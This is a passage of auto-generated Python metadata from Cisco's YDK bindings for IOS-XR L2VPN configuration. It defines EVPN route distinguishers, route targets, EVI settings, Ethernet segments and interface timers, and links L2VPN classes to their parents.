'evpn-route-target', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets', False, [ _MetaInfoClassMember('evpn-route-target', REFERENCE_LIST, 'EvpnRouteTarget' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets.EvpnRouteTarget', [], [], ''' Name of the Route Target ''', 'evpn_route_target', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-route-targets', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteDistinguisher' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteDistinguisher', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'BgpRouteDistinguisherEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteDistinguisherEnum', [], [], ''' Router Distinguisher Type ''', 'type', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-route-distinguisher', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Autodiscovery BGP ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-route-distinguisher', REFERENCE_CLASS, 'EvpnRouteDistinguisher' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteDistinguisher', [], [], ''' Route Distinguisher ''', 'evpn_route_distinguisher', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-route-targets', REFERENCE_CLASS, 'EvpnRouteTargets' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery.EvpnRouteTargets', [], [], ''' Route Target ''', 'evpn_route_targets', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('table-policy', ATTRIBUTE, 'str' , None, None, [], [], ''' Table Policy for installation of forwarding data to L2FIB ''', 'table_policy', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpnevibgp-auto-discovery', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis.Evpnevi' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis.Evpnevi', False, [ _MetaInfoClassMember('eviid', ATTRIBUTE, 'int' , None, None, [('1', '65534')], [], ''' EVI ID ''', 'eviid', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('evi-load-balancing', REFERENCE_CLASS, 'EviLoadBalancing' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EviLoadBalancing', [], [], ''' Enter EVI Loadbalancing configuration submode ''', 'evi_load_balancing', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-evi-cw-disable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' CW disable for EVPN EVI ''', 'evpn_evi_cw_disable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnevi-description', ATTRIBUTE, 'str' , None, None, [(0, 64)], [], ''' Description for EVPN EVI ''', 'evpnevi_description', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnevibgp-auto-discovery', REFERENCE_CLASS, 'EvpnevibgpAutoDiscovery' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi.EvpnevibgpAutoDiscovery', [], [], ''' Enable Autodiscovery BGP in EVPN EVI ''', 'evpnevibgp_auto_discovery', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpnevi', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.Evpnevis' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.Evpnevis', False, [ _MetaInfoClassMember('evpnevi', REFERENCE_LIST, 'Evpnevi' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis.Evpnevi', [], [], ''' Enter EVPN EVI configuration submode ''', 'evpnevi', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpnevis', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnLoadBalancing' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnLoadBalancing', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable EVPN Loadbalancing ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-flow-label', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Flow Label based load balancing ''', 'evpn_flow_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-load-balancing', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnbgpAutoDiscovery.EvpnRouteDistinguisher' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnbgpAutoDiscovery.EvpnRouteDistinguisher', False, [ _MetaInfoClassMember('addr-index', ATTRIBUTE, 'int' , None, None, [('0', '65535')], [], ''' Addr index ''', 'addr_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('address', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' IPV4 address ''', 'address', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Two byte or 4 byte AS number ''', 'as_', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('as-index', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' AS:nn (hex or decimal format) ''', 'as_index', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('type', REFERENCE_ENUM_CLASS, 'BgpRouteDistinguisherEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'BgpRouteDistinguisherEnum', [], [], ''' Router Distinguisher Type ''', 'type', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-route-distinguisher', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnbgpAutoDiscovery' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnbgpAutoDiscovery', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Autodiscovery BGP ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-route-distinguisher', REFERENCE_CLASS, 'EvpnRouteDistinguisher' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnbgpAutoDiscovery.EvpnRouteDistinguisher', [], [], ''' Route Distinguisher ''', 'evpn_route_distinguisher', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpnbgp-auto-discovery', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EvpnacTimers' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EvpnacTimers', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Interface-specific timers ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnac-peering', ATTRIBUTE, 'int' , None, None, [('0', '300')], [], ''' Interface-specific Peering timer ''', 'evpnac_peering', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnac-recovery', ATTRIBUTE, 'int' , None, None, [('20', '3600')], [], ''' Interface-specific Recovery timer ''', 'evpnac_recovery', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpnac-timers', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.IdentifierType0' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.IdentifierType0', False, [ _MetaInfoClassMember('bytes1', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{1,8}'], ''' Type 0's 1st Byte ''', 'bytes1', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bytes23', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{1,8}'], ''' Type 0's 2nd and 3rd Bytes ''', 'bytes23', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bytes45', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{1,8}'], ''' Type 0's 4th and 5th Bytes ''', 'bytes45', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bytes67', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{1,8}'], ''' Type 0's 6th and 7th Bytes ''', 'bytes67', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('bytes89', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{1,8}'], ''' Type 0's 8th and 9th Bytes ''', 'bytes89', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'identifier-type0', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving.ServiceList' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving.ServiceList', False, [ _MetaInfoClassMember('primary', ATTRIBUTE, 'str' , None, None, [(0, 150)], [], ''' Primary services list ''', 'primary', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('secondary', ATTRIBUTE, 'str' , None, None, [(0, 150)], [], ''' Secondary services list ''', 'secondary', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'service-list', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Manual service carving ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('service-list', REFERENCE_CLASS, 'ServiceList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving.ServiceList', [], [], ''' Manual service carving primary,secondary lists ''', 'service_list', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'manual-service-carving', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment', False, [ _MetaInfoClassMember('backbone-source-mac', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'], ''' Backbone Source MAC ''', 'backbone_source_mac', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable Ethernet Segment ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('es-import-route-target', ATTRIBUTE, 'str' , None, None, [], ['[0-9a-fA-F]{2}(:[0-9a-fA-F]{2}){5}'], ''' ES-Import Route Target ''', 'es_import_route_target', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('force-single-homed', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Force ethernet segment to remain single-homed ''', 'force_single_homed', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('identifier-type0', REFERENCE_CLASS, 'IdentifierType0' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.IdentifierType0', [], [], ''' Ethernet segment identifier (Type 0) ''', 'identifier_type0', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('load-balancing-per-service', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable per service load balancing mode ''', 'load_balancing_per_service', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('manual-service-carving', REFERENCE_CLASS, 'ManualServiceCarving' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment.ManualServiceCarving', [], [], ''' Enter Manual service carving configuration submode ''', 'manual_service_carving', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'ethernet-segment', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces.EvpnInterface', False, [ _MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Name of the attachment circuit interface ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('ethernet-segment', REFERENCE_CLASS, 'EthernetSegment' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EthernetSegment', [], [], ''' Enter Ethernet Segment configuration submode ''', 'ethernet_segment', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnac-timers', REFERENCE_CLASS, 'EvpnacTimers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface.EvpnacTimers', [], [], ''' Enter Interface-specific timers configuration submode ''', 'evpnac_timers', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('mac-flush', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable MVRP MAC Flush mode ''', 'mac_flush', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables.EvpnInterfaces' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables.EvpnInterfaces', False, [ _MetaInfoClassMember('evpn-interface', REFERENCE_LIST, 'EvpnInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces.EvpnInterface', [], [], ''' Attachment circuit interface ''', 'evpn_interface', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-interfaces', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn.EvpnTables' : { 'meta_info' : _MetaInfoClass('Evpn.EvpnTables', False, [ _MetaInfoClassMember('evpn-interfaces', REFERENCE_CLASS, 'EvpnInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnInterfaces', [], [], ''' Attachment Circuit interfaces ''', 'evpn_interfaces', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-load-balancing', REFERENCE_CLASS, 'EvpnLoadBalancing' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnLoadBalancing', [], [], ''' Enter EVPN Loadbalancing configuration submode ''', 'evpn_load_balancing', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-timers', REFERENCE_CLASS, 'EvpnTimers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnTimers', [], [], ''' Enter EVPN timers configuration submode ''', 'evpn_timers', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnbgp-auto-discovery', REFERENCE_CLASS, 'EvpnbgpAutoDiscovery' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.EvpnbgpAutoDiscovery', [], [], ''' Enable Autodiscovery BGP in EVPN ''', 'evpnbgp_auto_discovery', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpnevis', REFERENCE_CLASS, 'Evpnevis' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables.Evpnevis', [], [], ''' Enter EVPN EVI configuration submode ''', 'evpnevis', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn-tables', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'Evpn' : { 'meta_info' : _MetaInfoClass('Evpn', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable EVPN feature ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('evpn-tables', REFERENCE_CLASS, 'EvpnTables' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'Evpn.EvpnTables', [], [], ''' EVPN submodes ''', 'evpn_tables', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'evpn', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, } _meta_table['L2Vpn.PwRouting.PwRoutingBgp.EvpnRouteDistinguisher']['meta_info'].parent =_meta_table['L2Vpn.PwRouting.PwRoutingBgp']['meta_info'] _meta_table['L2Vpn.PwRouting.PwRoutingBgp']['meta_info'].parent =_meta_table['L2Vpn.PwRouting']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S.ErpPort0']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps.Port1']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Rpl']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.None_']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.VirtualOrInterface']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings.G8032Ring']['meta_info'] _meta_table['L2Vpn.Database.G8032Rings.G8032Ring']['meta_info'].parent =_meta_table['L2Vpn.Database.G8032Rings']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits.BackupAttachmentCircuit']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns.PseudowireEvpn']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpRemoteCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpSecondaryLocalCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpLocalCookie']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.MplsStaticLabels']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStatic']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels']['meta_info'].parent =_meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire']['meta_info'] _meta_table['L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.PseudowireAddress.BackupPseudowires.BackupPseudowire']['meta_info'].parent 